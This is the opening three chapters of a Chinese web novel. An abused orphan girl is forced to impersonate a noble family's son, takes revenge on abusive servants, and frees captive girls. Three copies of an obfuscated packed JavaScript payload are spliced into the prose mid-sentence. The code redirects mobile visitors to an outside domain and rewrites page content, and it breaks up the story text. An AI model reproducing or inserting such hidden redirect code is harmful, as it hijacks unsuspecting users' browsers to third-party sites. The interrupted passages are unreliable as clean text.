《去白月光那当眼线》 1. 新的命运 这是宋连第一次来到陈家前厅。这个约莫七八岁大小的女孩跪在主位前,稚嫩的身体上挂着不合衬的桃红色浮夸成熟的衣衫,本就有些裸露的衣服经过刚才激烈的撕扯已经完全变成几条衣不蔽体的破布。 女孩赤裸的皮肤上有青紫色的淤伤,是负责带她们这些“小童娘”的陈嬷嬷掐的,腿上几道新鲜的血痕,是今早吴管家抽的,至于手上一道青白不均的勒痕,是刚刚她暴起伤人后几个壮汉合力绑的。 女孩昂着头,不知羞也不惧怕,一双眼睛亮的吓人,目不转睛地瞪着面前的男人。好像他稍微有点什么动作,她就能立刻暴起。 “算你有好运,”坐在主位上的正是陈家老爷,“从现在起,你,就是陈府少爷,陈科。” 今早她还是即将要送给陈老太爷的“小童娘”,现在却在屏退所有下人的前厅,跪在陈大人脚下,接受她新的命运,因为她那双眼睛,那双视物无比清晰,能将她带入缄默司,给陈府带来荣耀的眼睛。 “去了缄默司你也别想耍什么心眼,你得道,陈家的光你也能享上,你不听话,哼!陈家也不会被你一个小娃娃拉下水。” 陈老爷显然也没把这个八岁的小女娃放在眼里,若不是家里那位不争气,恰巧她有这样一双特别的眼睛,这种冒充少爷入缄默司的好事哪里轮的上她? 女孩依然警惕地看着眼前这个男人,来陈府这么久,这是她第一次离开那个拥挤潮湿的屋子,里面塞满了惊弓之鸟状的女孩们,见到了陈府的主人。 半晌,眼看这个四五十岁,保养很好的男人好像没有想要伤害她、殴打她的动作。 宋连终于开口:“我要最好的药!” 女孩听明白了,这是一场交易,或者说,单方面的、不能抗拒的胁迫。但好在她似乎对陈府有点作用,那就必须试探性地提出点儿什么要求。 陈府少爷胎中不足,甚少见人,又与她年岁相仿。陈府想让这个难得的天赋异禀的女孩,进入地位超然的缄默司,为陈家争光做事。 既然是装作陈科,身上就不能有被人殴打的伤疤。 他果然应了。 “我要学写字!”又一个合情合理、难以拒绝的要求。 宋连被父母抛弃,自打记事就是乞儿,后来又被捡入陈府做了圈养起来的女奴,她很想知道话本里讲了什么,能让人津津有味捧着。 “这用不着你操心。”陈老爷不想和一个女娃娃交谈这么多。 “我要面条!放了鸡蛋和佐料的!”宋连的生活经验告诉她,手里没东西尚要去求去抢才能喂饱饭,手里有东西了自然要顺杆儿往上爬。 爬,也不能爬的太过。会挨打。 一碗面,陈老爷会舍得的。 眼前这个男人实在不想和一个什么也不懂的女童继续纠缠。她真的能代表陈府进入缄默司吗?算了,也是没法,陈家现在确实需要一个足够亮眼的噱头去讨“那位”主子欢心。 陈老爷不想多言,站起身就要走,女孩一把攥住他的裤脚,“你答应我!我就去那个捡什么馍的地方去!” “叫下人进来给你收拾一下!你现在是少爷,像什么样!”陈老爷拽开她的手,又嫌弃地赶忙拍拍衣角。 这就是应了。宋连听得出来。 这场单方面的谈判结束,宋连要活命,就要成为陈科,比起送给陈老太爷磋磨侮辱,这倒也是万幸了。 下人鱼贯而入,服侍宋连去刚收拾出来的西厢房住下,又迎着她去隔壁浴室沐浴更衣。 看起来十四五年岁的丫鬟轻轻脱下宋连的衣衫,扶着她走进浴盆,盆中已经接满温热的水,上面还漂浮着宋连不认识的药材。 待宋连靠着浴桶边缘坐下,一个丫鬟拿着根丝瓜瓤轻柔地抚着女孩的背部,另一人又轻轻地梳着女孩散在水中的头发。 宋连从未感到如此窘迫过。第一次被人伺候,反倒有一点不知所措了。 “你们出去,我自己来,好了叫你们。”宋连作为陈府少爷陈科的第一道指示。丫鬟们相互对视了几眼,还是退出去将房门掩上了。 独自一人呆在屋内,宋连才卸下紧绷的神经,将自己向外张牙舞爪的刺收了回来,鼻头一酸,竟想要滑出一滴泪来。 这么多年来,自打她记事起,就是无父无母流浪街头一个乞儿,身为乞儿也该学会了身为乞丐的求生之道。去求,去要,去跪,然后像小兽一样去撕咬,去保护自己的口粮。 没有刀,牙齿就是最利的武器。 突然有一天,一个衣着打扮不太寻常的男人端起自己的脸,还亲热地为自己买了一碗面条,询问自己是否愿意被收养,看着周围小乞儿羡慕的眼神,宋连点头,还冥思苦想给自己编了姓名。 谁知这名字无人在意,偶尔被感动的信任让宋连从虎穴被哄骗到狼窝,进了陈府,吴管家才原形毕露。 “这个太小了些,得养几年才熟呢。”陈嬷嬷拽着她四下打量,像摆弄一个物件。 “你瞧瞧这脸蛋,送给陈老太爷还不记着你的好,一口饭就喂活了。”吴管家用手掐着她的脸,嗤嗤地□□着。 宋连一口咬上这老男人的手,直让那人痛的嗷嗷叫,竟差点生生咬下一块肉来,那旁边的女人招呼过来一群大汉将宋连裹住扔进屋内。 “这几天别叫她吃饭!”吴管家攥住受伤的手气急败坏。 屋里全是六七八岁年岁不等的女孩,起初宋连并不明白陈府养这些干活也不利索的女孩干嘛,直到她看见一个个女孩突然在某天早晨换上艳丽暴露的衣服送去陈老太爷那里,然后再也回不来,隔段时间又会有新的女孩被送进来。 宋连虽然小,但是她外面流浪几年,还是嗅到了不同寻常的气息。 于是她逃。这不到一年的时间,她逃过不下十次,但每次都被捆打回来,再被那个陈嬷嬷断几天饭吃,拿她满是茧子的手,粗糙黑硬的指甲,狠狠地拧住女孩柔弱细嫩的肉。在陈府的日子,竟比做乞儿时还要饥饿。 想到这里,宋连竟有些难得的哀伤了。泡在温暖的浴桶里,人才有哀伤的时间。今天早上起一直鼓点般砰砰直跳的心此时也渐渐平静下来。 一切转折都要从两周前说起,府外传来了敲锣打鼓的欢庆声,此时是她第十五次逃跑失败,被绳子紧紧绑在柱子上,饶是饿了三天,此时也不免被声音吸引,远远望去,只看见四方的陈府上空也在树上挂上了红绸,她听见了山呼海啸的欢呼声,激情高昂的奏乐声。 广平侯大战蚩蛮,胜利凯旋,班师回朝了。 这不是一个好消息,对于宋连来说。陈老太爷每逢佳节或是喜庆事,便要陈嬷嬷从一屋子女孩中进献一二。 这一次,会轮到她吗? 宋连决定变换策略,她开始老实下来,不再瞪着陈嬷嬷,不再尝试撬锁偷溜。她要吃饱饭,才能有机会一招成功。 “既要送出去,脸上身上就这样干瘪?”宋连用力扯了两下自己的脸颊,只是久久营养不良,女孩的皮肤似是紧紧贴着骨头。陈嬷嬷狠狠地又给她扣了一碗糙米。 于是今天早上,吃饱喝足一周的她醒来,自觉身上已多了不少力气,她扒着窗户往外瞅去,远远地看见了陈嬷嬷喜气洋洋地捧着一件桃色的衣服走过来。 “哼!今个儿可是你的好日子,自己穿上,也别让我给你费劲儿!”陈嬷嬷将衣服扔到自己身上,还有些幸灾乐祸的笑。 宋连怒视着那张脸,那张自己在这两年里日也看,夜也梦的脸,将衣服狠狠扔到地上。 “嘿你这小贱蹄子,你别敬酒不吃吃罚酒!”陈嬷嬷一把把宋连拽下床来,抬手就要打她的脸,突然想到今日要将她送给陈老太爷,脸上不能有伤,就在这停顿之际,宋连拔腿就向外跑。 门口有吴管家堵住,他又拿起了那根鞭子。 这次不同,面对吴管家挥下的鞭子,电光火石间的动作在她看来却犹如缓慢的定格,她躲过了,躲过一鞭又躲过另一鞭,甚至还接住了飞快甩下的鞭子让吴管家吃了个狗啃泥,直到好几个男人围住她,她依然灵活地飞快逃窜着,躲过擒拿和拳头,那一伙人颇费了许多力气才将衣服套在她身上。 只是刚拿下绳子要绑住她,她竟又溜了!在宋连眼中,那些人的动作无比清晰,刚有抬手的预兆她便疯狂朝另一边冲去,像个滑不溜手的泥鳅,纵是这么多人围着,竟让她冲出一条路来,眼瞧着就要往门口跑去! “快跑去和老爷说!”吴管家急匆匆向一个小厮命令道,小厮拔腿就跑。 她的眼睛一向敏锐,如今又有了力气,眼看就要冲出府了! 从树上猛然张开一张大网,顷刻间笼罩住女孩全身,黑压压地盖上了女孩眼睛,府外平静宁和的景象又消失了。 再睁眼,宋连被人押着跪在了陈府前厅。 陈老爷掐着她的脸,对着她仔细端详,目光来回扫视,宋连恶狠狠地瞪向他。 不多时来了一位府里的先生,又是飞快旋转青瓷碗底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763647|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让宋连辨认其中绘了什么图案,又是猛地飞袖扬针让宋连好一番躲避,最后那先生面向陈老爷,双手行礼道:“是个能进缄默司的苗子。” 于是宋连毫无选择地成了陈府二少爷陈科。 “该死的,不许哭,”宋连小声地咒骂自己,“要努力活下去,宋连。”她深吸一口气,靠在浴桶上,闭着眼开始整理今天一上午获取的信息。 首先,她的眼睛自小便格外特别,目摄流光,瞬观万象。陈老爷想让她凭借这个进入缄默司。这个部门专收奇人异士,称作异禀者,而异禀者的过人之处,则称为天赋。缄默司考核颇严,地位也颇高,想来陈老爷便是看中了这点。 同时,她需要女扮男装,伪冒陈科的身份,在三个月后正式进入缄默司的学堂。她必须瞒住这两层身份,否则生死难料。 当然,比起成为陈老太爷手里凌虐的布娃娃,这条路虽然艰险,但还是要好很多。是枷锁,或许也会是机遇。 离府之前的三个月,自己要养好身体,学习写字、礼仪,懂得如何伪装成一个男孩,自然,也要把该收拾的人收拾了。 这事不能操之过急,要让自己手上唯一的筹码发挥作用,就要等自己陈科的身份彻底坐实! 宋连笑了,这是她入陈府后第一次畅快的笑,除了尖利的牙齿,这次她终于有了别的武器。 碧波湖上 炎炎夏日,空气凝滞不动,暑气蒸得满庭湘妃竹也失了苍翠,檐角特意挂上的错金风铃此时也蔫儿哒哒地垂着,澄心亭内却犹如隔世,缕缕凉烟从冰桶中满溢而出,白玉盘上摆放着今早刚从岭南加急送来的新鲜荔枝,亭中桌椅皆以石制,触肤生凉。 一位年轻男子懒懒斜坐着,一身淡紫越罗广袖袍,隐约绣着云鹤纹样,稍一抬眼便会有侍女将荔枝剥皮喂入,一旁随从俯在男子耳边说了些什么。 “是真是假,如此喜事,让陈府办个酒宴,派人去看看,”男子又闲闲一指旁边的葡萄,侍女立即递来,他漫不经心衔着果肉,“如今朝中异禀者总共不过数十,且先盯着,若真入了缄默司,倒确实可以一用。” “是,我会将您的意思传达给陈大人。”随从转身退下。 宋连这几日过得苦极了。 陈老爷特地从私塾请来了一位夫子,那夫子本来听说是为一位即将进入缄默司的奇人讲学,摩拳擦掌壮志满怀地来到府上,感觉国家未来的栋梁都要在自己的启蒙下诞生了,也不顾对象只是个八岁的儿童,张口便要讲四书五经。 “这个字是念‘子’吗?”,宋连骄傲地指着案牍上摆放的《孟子》一书,这可是她为数不多认识的字,当乞儿时最爱在包子铺蹲守了。 夫子傻眼了,看向旁边的陈老爷,希望是自己误会了陈二少爷的意思。 “是这样,犬子病弱多年,一直未得教化,夫子还是从认字写字教起吧!”陈老爷自己也觉得这话甚难开口。 屋内三个人,陈老爷闭眼不忍直视,夫子一时傻眼长吁短叹,只有宋连兴致勃勃翻着书本,这里面真有斩妖除魔,行侠仗义的故事吗,还是教人做包子的呀? 不过很快,宋连也笑不出来了。 “这些字明天提问必须要全部写对!一个不对,就要抄写一百遍!”夫子横着眉毛指着宋连写出的鬼画符半天才说出来话。 …… 不光是要习字,陈家官虽不大,但也要有官家子弟的礼仪。 “行礼时需正身直立,双脚微开,双手合抱于胸前,左手掌心向内覆于右手之上,双臂如抱鼓,身体前倾时以腰为轴,头部与上身同步微俯,目光视对方足前以示谦恭。” 礼仪教习一边念着,一边拿木板子敲敲宋连的手,“左右手反了。” “对尊长要行天揖,对同辈行时揖,对晚辈行土揖,”教习眼睛一瞥,又重重敲上宋连的背,“错了!” “今天就先学这些,你再站两个时辰,不要忘了站相。” …… 宋连第一次被磨得没了脾气,虽然辛苦,但她面前摆放着什么样一条路,她懂,她一定要学会。 于是乖乖抄了一百遍字,又郑重地站在庭院里两个时辰。 “老爷让我告诉您,七日后府中宴请宾客,庆贺少爷您身体康愈,”陈老爷身边的小厮过来传话。 七日后,世上就没有宋连了,“我是陈科”,女孩喃喃。 陈嬷嬷,吴管家,你们可要好好迎接啊,女孩眼里迸出狼一样的光。 2. 惩治恶奴 吴管家的手掌瞬时被扎穿! “恭喜陈大人,双喜临门!” “诶哟,小公子长得也是一表人才!” “真不一般呐,那缄默司三年一招,每次人数不过寥寥啊。” “陈老爷好福气!二少爷大病得愈,前途无量呐!” 宾客往来络绎不绝,恭喜祝贺不绝于耳,陈府上下热热闹闹。 宋连,不,现在是陈科,梳着一对双环髻,发髻上绕上一根红色带,中央缀着一颗圆润的珍珠,身穿橙色绢纱交领袍,笑盈盈地回礼道谢,一点没有一个月前窘迫的模样,活脱脱就是一位冰雪可爱,知书识礼的小公子。 年岁正小,童声娇嗲,倒也分不出什么男女来。 陈老爷一面要应付宾客,一面要盯着宴席布置,又要担心宋连出什么纰漏,眼见这女孩不久前还是粗野无知的小兽,如今看起来倒是有模有样,不觉稍稍放下了心。 只是“那位”让人传话办宴,不知会不会来呢,陈大人止不住频频望向大门。 宋连倒不知道陈老爷的忧心,她正激动着呢。如今她的样貌众人也都瞧见了,陈二少爷的身份是抵赖不得,今日必须要陈嬷嬷、吴管家好看! 只怕陈老爷若知道宋连此时所想,那刚放回去的心又要蹦上来了。 趁着宾客们与陈老爷相谈甚欢之际,宋连悄悄离开人群,猫着腰一溜烟穿过正厅,路过厨房悄没声顺了把小刀,又进了自己居住的左厢房翻箱倒柜找了根细簪,“齐活儿!”宋连得意地吹了个口哨。 这会子下人们都在前院厨房忙活,后院异常寂静。一般这个时候,陈嬷嬷都会把“小童娘”们塞进后罩房锁起来,宋连轻车熟路地溜到这个关了自己一年的、阴暗潮湿的房间门口。 陈嬷嬷把这屋子锁了起来,只她自己留着把钥匙。这些天眼见自己成了少爷,她处处躲着自己走,钥匙也没机会偷。 但是——宋连何许人,做小乞丐也有些手艺,更何况下人住所,哪里用的上什么精密复杂的锁呢。 “啪嗒”宋连拿细簪一捅,锁开了! “呀,真是厉害!”宋连忍不住夸赞自己。 推开门,屋里女孩儿们齐齐看过来,一见有人便一个个向后缩去,关得久了,即使害怕也发不出声音来。即使面前只是一个同龄幼童,女孩们也不敢大着胆子发出疑问。 宋连倒不怕被认出来,从前蓬头垢面,套件不合身的烂衣衫,就连脸都没机会好好洗一次,女孩们每天又在担惊受怕下,彼此也并不熟稔。谁能把如今一个富贵整洁的小公子和之前的宋连联想起来呢? 再说了,自己那天被带走,女孩们都会以为自己已经死在了陈老太爷那里。 保密工作,陈老爷一定交代得很周全了。 宋连不顾女孩们戒备的目光,走到最近的女孩面前拿小刀割开了捆住她双手双脚的绳子,“听我的话,我可以救你们出去。”宋连觉得此刻自己就是乞丐地盘小头目,扶危济贫小侠士,这些天认字后她偷偷看了些话本呢。 “怎么救?我们为什么相信你?”一个女孩大着胆子提问。 “不信我,早晚也是会死的,你们没有选择呀。”宋连倒是不爱声辩。 “是!留下来也都会死的!求你救出我们!”另一个女孩说道。 有了一人响应在先,其他女孩面面相觑之后也相继犹疑地举起了手。 宋连朝她们招招手,示意她们凑近一些围成个圈儿, …… 陈府正院此时正是喜气洋洋,几十台缠枝牡丹食盒如流水一般从厨房送出,蒸羊羔、炙鹿脯、山八珍、水八珍,应接不暇;陈老爷还请来了教坊司的伶人唱戏助兴,咿咿呀呀的戏腔和着笙箫的乐声好不动听;宾客们有些祝酒言欢,有些起了兴致招呼着比赛投壶。 “你们听说了没有?这次缄默司学堂招人,有晏老将军亲自坐镇!” “广平侯刚刚大胜蚩蛮,叫那蛮夷之地臣服于我大夏,确是我大夏肱骨之臣!只是怎么又搭上了缄默司?” “据说是晏老将军的小孙子,着实爱武,也想去看看民间的奇人们有没有武学之才。” 宋连此时回了正院,听见有人谈缄默司,便留了个耳朵好奇听听。 “啊!晏老将军的孙子晏临啊,十三岁的年纪武功出落得不得了啊!上次我可见识到了,能一人敌十几个练家子呢!” “是呢,广平侯儿子不成器,倒好在这孙子确是武学奇才,可以继承将军衣钵!” 这么厉害!是啊,自己怎么没想到学武呢,学成那般高强,就再也不怕别人欺负自己时无力还手了吧,要把那些人一个一个都干趴下!宋连有些向往,暗暗下定决心必得找个机会学武! 晏临,宋连还悄悄记下这个名字。 “哪里来的野丫头,敢在陈府横冲直撞!”一位端着盘子的侍女险些被跑来的女孩们撞倒。 陈府秘养的“小童娘”们从见不得光的后罩房跑出来了!跑到了众目睽睽之下!跑到了满府贵宾之中! 一时间,庭院中突然安静下来,众人的目光都被这群女童吸引过来,破烂的衣衫,瘦小的身体,裸露在外的胳膊、腿上全是新旧不一的伤疤、血痕、淤青。 只是这样一群女孩儿,怎么会出现在陈府? 已经有人将目光转向陈老爷,希望可以得到一个合理的解释。 “快,快去把陈嬷嬷叫来!”陈老爷面对此景也难免失态,脸涨得通红,额头顿时冒出一层虚汗,杯中的酒也差点洒出来。 陈嬷嬷此刻本在杂役帮工,听到老爷急召匆匆忙忙赶来,看见庭院里的女孩们登时傻眼,她明明锁了门,以往从未出过差错啊? 谁知女孩们一见到陈嬷嬷便又吓得四处逃窜,一面对着满府的贵人宾客喊救命,一面又朝陈嬷嬷的方向拼命磕头喊饶命。陈老爷的脸色更难看了。 瞧着场面混乱地差不多了,宋连站起身来。 “父亲!您有恩德,收养流□□童,给她们一口饭吃,一个住处,可是,”宋连嗓音突然变大,指着陈嬷嬷继续道,“那日我瞧见她似乎是在掐拧女孩们,我瞧得不真切,不敢断言,可是如今看来,却果真如此!” “还有吴管家,他房中收着几根鞭子,我问他,他说是用来驯马的,可是马房的小厮却说从未见吴总管来过,我还觉得疑惑呢!如今这些鞭痕却在您大发善心收养的女童们身上见到了!”宋连又一指缩在陈老爷身旁的吴管家。 吴管家没想到这火这么快就烧到自己身上,被一个随意鞭打了两三年的女童当着众人面揭发,他一时气急,竟忘了宋连此刻身份。 “你!你这小儿!竟敢血口喷人!” 错了。 宋连等的就是这个错处。 她常被别人拿捏软处,也因此学会了拿捏别人的短。 她快步冲到了吴管家面前,一手将吴管家胳膊按下,一手飞快从袖口中抽出小刀,迅速地向下插去,就那么短短一瞬,鲜血飞溅! “啊啊啊啊!” 吴管家的手掌瞬时被扎穿! 毫不犹豫地,宋连又将小刀快速拔起,痛得吴管家握着手肘滚到在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763648|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 女孩的力气其实并不足以和吴管家抗衡,但她太快,太大胆,谁也没想到在满府宾客的宴会中她会行如此悍事。 众人一时都发出了惊呼,陈老爷差点腿软坐在地上,有旁边小厮扶着才勉强站立。 “儿子替父亲管教不忠不仁的仆从!你,一不忠,违背父亲命令,践踏父亲善心,不尊重少主,二不仁,鞭打无辜幼童,罔顾寻常人命,就把你这作恶的手废去!” 宋连一阵慷慨激昂,这话放在从前她是如何都说不出来的,只是识字之后在话本上悄悄学来,此刻比葫芦画瓢,说完她还在心中给自己打了个响指。 说罢,在众人还未反应过来之际,宋连拿着那把还滴着血的小刀朝陈嬷嬷走去。 陈嬷嬷此刻已经吓傻了,她登时跪倒在地,朝着宋连和陈老爷不住左右磕头,“奴婢错了!求老爷、少爷绕过奴婢,奴婢自请出府!求老爷看在往日奴婢辛苦做事的份儿上饶过奴婢吧!” 陈老爷此时已稍稍稳住了心神,且不提自己无意之中竟惹进来了一匹狼,如今众人都已知她是陈科,这身份不可再改,只好认下,日后还怕没机会料理她!只是她并未说出“童娘”一事,只说是下人办事不利,事情对于自己还不至于处在尴尬境地。 只要照着宋连给的台阶,处置了陈、吴二人即可。 “拉下去吧!赶出府去!”陈老爷这命令下得急促。 “诸位看笑话了,我治府不利,任人不清,害了这些女孩们呀!”他又继续假模假样地进行这场闹剧的收尾工作。 底下众人反应过来,纷纷给足了陈老爷体面。 “这都是恶奴的错!” “陈老爷善心呐,收留无辜幼童!” “哎,”陈老爷摆摆手又摇摇头,好像真是一腔好意害了人的懊恼,长叹一口气,“将女孩们送回屋内吧!” “且慢!”宋连走上前去,她听陈老爷那些伪善的话只觉得恶心,若不是自己现时无力对抗整个陈府,怎会把所有过错推到两个下人身上。但她答应了要救出女孩们,绝不能就此罢手,“不如府中出些钱财把女孩们送去寺庙!吃斋念佛,庙里修行人总是会发善心的。” “不能让父亲您的好意再被底下人糟践了。”宋连补充道。 “是啊是啊,陈大人您贵人事忙,小公子年纪不大,主意倒是很正呢!”有宾客附和。 陈老爷在心里将宋连骂了八百遍,这小贱人今天闹这么一出,真觉得自己能拿捏住陈府了吗,但她步步紧逼,又事发突然,众目睽睽之下,他也只好咬紧后槽牙应了。 “择日不如撞日,不如趁着今天众位宾客都在,也好做个见证!”宋连倒是知道夜长梦多,此时若不得手,这事情便没影了。 “我先来!”宋连迅速接下衣裳上挂着的双鹤玉佩,放进身前托盘。 众人见状,纷纷效仿,捐资送幼女得一安处所居,这传出去必是一段佳话。 陈老爷眼见事态失控,也无他法,只想着宴席散去,必想个法子狠狠惩治宋连一番。特别是”那位”并未来赴宴,若是他用不上缄默司,那宋连也不必再留。 宋连此时并不知陈老爷竟已动杀心,自己危在旦夕,毕竟年幼,还未想到成年人世界的诡谲多变。此刻,她正小仇得报,又救了这些女孩儿们,好不畅快! 托盘已经满满当当,众人准备一齐将女童们送到离这里最近的青山寺,谁也没看见,府外一株高大的杨树之上,藏了一位黑衣人,此刻他的箭正瞄准了宋连! 嗖!嗖!嗖! 3. 初遇晏临 宋连失眠了。 她想不明白今天宴会最后到底发生了什么事。 难道真是陈老爷故弄玄虚,想要让自己出出风头,亮一亮这双眼如何特别,因此派人射的箭吗? 这说法何止牵强,甚至是匪夷所思了。 可若不是陈老爷做的,那他为何要在宾客惊慌失措之时,将这令众人不满的事儿揽到自己头上来? “看看吧!我儿双眼天赋异禀,纵是破云之箭,在他眼中也犹如龟爬之速,轻易便可躲过!”陈老爷开怀一笑,安抚众人不必害怕,那箭手都是有准头的,不会误伤。 有人溜须拍马,追捧陈二少爷果然出色,更多人面露愠色,宴席最后倒有些不欢而散。 这是在宋连眼见三根箭齐发射来,千钧一发之际,一跟头滚进最近的桌子底下,生生躲过了箭流之后发生的事。 只是太过匆忙,只瞧见树上有一黑衣人影掠过,晃过神来时,人已经消失地无影无踪。 若说是自己今天惹恼了陈老爷,他临时起意要人伪装刺客除掉自己,计划失败,所以只好如此解释,那他又为何在宴会结束之后对自己热情百倍,和蔼异常?甚至根本不在乎众人不满,反而喜色难掩? 诡异,这也太诡异了。 如果不是陈老爷派人射的箭,那又会是谁呢?往日无怨,今日无仇,为何箭根根射向自己? 宋连辗转反侧,这事不对,但毫无头绪。 “快!拿新制的那件衣裳来!” “谁让你取来这金玉束带!取那根素的来!没有规矩。” “官靴也要拿全新的来!” 夜半三更,陈府主屋之内却悄悄点上了两根烛火,只见陈老爷眉毛都要飞起来,偏那嘴角还要极力抿着,手指不自觉地搓着袖口衣裳,声音既小又急促。 “老爷,时间不早了,不敢耽误了。”随从在旁边提示道。 “备车吧,从后门走,动静小些。”陈老爷深吸一口气,吩咐说。 遇仙楼二层雅间 “殿——不,您放心,那箭头缠的红绸,我一看便知道是您,立刻就捡起来了,没人察觉到异样。” 房间里面说话的,不是别人,正是陈老爷,他笑得颧骨高高耸起,眼角也堆挤着几道谄媚的皱纹,那眼睛却是一刻不敢放松,还小心翼翼瞟着对面人的脸色。 陈老爷正襟危坐,大气也不敢出,等着对面的年轻男子开口,直坐得屁股发麻也不敢调整姿势,只微微弓着腰向前勾着头,从喉咙里发出点断断续续的笑声。 话说今日宴会,本以为“这位”不会来了,谁知那箭一射来,陈老爷便心下感应,叫手下趁着场面慌乱将箭上红绸取下,果不其然,红绸内只写着四个大字: “夜半,酒楼” 宴会的最终目的已经达到,陈老爷哪还顾得上其他宾客,只匆忙草草结束,好回房间仔细准备。 “你应该知道,为何最终选择你。”对面的男子终于开口了,他半卧着,合着眼,手上有一搭没一搭转着一串珠链。 “是,是,这是陈府上下的荣耀。”陈老爷不住地点头,眼角皱纹更深了。 “是你儿子生得好,瞧着是有几分机灵。”那男子终于抬起眼皮,只轻飘飘睨了陈老爷一眼。 “是是是!陈家上下满门都愿为您效犬马之劳!只要您有用得上的地方——” 啪!一个核桃飞来,正好砸在陈老爷嘴上。 那男子身边站着的侍卫此刻正定眼看着他。 “谨言慎行啊,陈大人。”男子眼睛一翻,眸光斜斜扫来。 陈老爷立刻噤了声。 “你的事,后续会有人和你联系。若无大事,你我还是不必见面。” “至于你儿子,尚且年幼,且再等吧。” 那年轻男子说完又合上了眼。这便是下逐客令了。 陈老爷走出酒楼,只觉背后湿黏一片,双腿疲软,就连手肘都有些脱力,只催促着随从赶快驱车回府,躺在自家床上才觉稍稍安心。 宋连自打宴会上听说了晏临这个名字,就开始不由自主地幻想自己右手一个小擒拿手,左腿再一个飞踢,轻而易举将一个身高八尺的壮汉撂倒在地,骑在他身上手肘勾着他脖子,问他服不服,再看向面前其余害怕地向后退去的人哈哈大笑。 太爽了,宋连美滋滋地想着,开心地多吃了好几碗面条。 于是,趁着最近陈老爷心情颇为不错,宋连提出要在缄默司开学之前学一些武功。陈老爷盘算之下认为这确有益处,便爽快地应了下来。请来的师傅也夸赞宋连虽然启蒙较晚,但根骨不错,再加上有凌厉慧眼加持,这一个月来她进步神速。 很快就到了去缄默司学府报道的日子。 这天刚下了雨,又值夏末,湿气粘腻在人身上,连呼吸都有些凝滞。 可这一点都没影响到宋连的好心情。 缄默司学堂建在山上,自山脚下起便只许异禀者进入,不得携带家奴,陈老爷只好要求宋连每月休沐必须回府一次,但只要能短暂地摆脱这里,她还是心生雀跃的。 宋连在上山时还在不停畅想,这受天下人敬仰的特殊机构该是什么样,它该建造得瑰丽恢弘,大气古朴,还是肃穆巍峨呢? 直到跟着树上贴的歪歪扭扭的指路牌一路七拐八拐地寻去,穿过那仅勉强容人弓腰侧身才能挤进的竹林,淌过只有一拃宽木板作桥的涧水,爬上几百阶狭窄逼仄的石梯,一路上从未碰见一个行人,正当宋连怀疑这缄默司是否真在此处时,一块牌匾出现了: “缄默司” 这牌子两头分别钉在两棵树的树干上,这树最奇,高约近乎百尺却笔直无比。 这就是门吗?宋连一时震惊,往里探头看去,也没见到房屋,也没见到人,正是徘徊踌躇之际—— “陈科!” 宋连下意识扭头看去,这三个月在陈府的生活,她已经迅速适应了这个新名字。 是一个男孩。一张陌生的脸。 他难道认识陈科?不对,陈老爷怎么会留下这么大一个纰漏。宋连立刻警惕起来,眼睛盯着那陌生男孩,右手已经悄悄扶上后背的短刀。 尽管无冤无仇,但是若他揭露自己的假身份,那必须先下手为强。 “果真是你!”男孩已经笑容满面跑到宋连面前。 果真?他认识的是自己这张脸?宋连手不着痕迹地从刀上放下,端起笑脸作了个揖。 “你应该不认识我,我叫蒋明川,也是异禀者,比你大两岁,上个月陈府宴会我也去了!”这男孩边说边从兜里给宋连掏出个橘子,“你尝尝看,我家乡澜州的,特别甜。” 宋连不爱吃水果,这东西食用起来既麻烦,又不顶饱。 不如面条好。 她还是伸手接过,礼貌性的道了句谢。 “你知道缄默司是从这里进入吗?”好不容易等来人,还是赶紧问问要紧事。 “应该没错,我们一起进去吧!”蒋明川高出宋连一些,此时他还十分自来熟地将手搭在宋连肩上。 这让宋连十分不自在,面对突如其来的好意总有些怀疑和警惕。她想自然点甩下他的胳膊,故而突然加快了脚步。 “欸!你等等我呀!在宴会上见识了你的英勇之举,我就想认识你了,”蒋明川又拔腿跟上前去,凑在宋连脸前兴高采烈,“你也太厉害了,可以干出那样的大事。” “欸对了,听陈大人提起,你的眼睛极为厉害,可以躲过那样快的箭流,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763649|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定学过武吧,我也学过呢,这次加入缄默司,我就想着重练武!” “哎呀,正说起你的眼睛呢,这好酷呀。” 话怎么这么多。 怎么一个人也能说的如此起劲儿。 宋连有些招架不来。一方面,男孩似乎没有恶意,但万事怕在万一,还是小心保持距离为妙,另一方面,还没有人对她如此亲近,甚至还带了一点钦佩,宋连还不擅于回应这些。 只好一路快走。 “哦!我还没告诉你我为什么能来这呢,我力气特别大,使起力来我可是坚不可摧的!而且从小就没生过病,我爹说我皮糙肉厚很抗揍呢。” 宋连脚步一顿,来了兴趣,“坚不可摧,什么意思?” 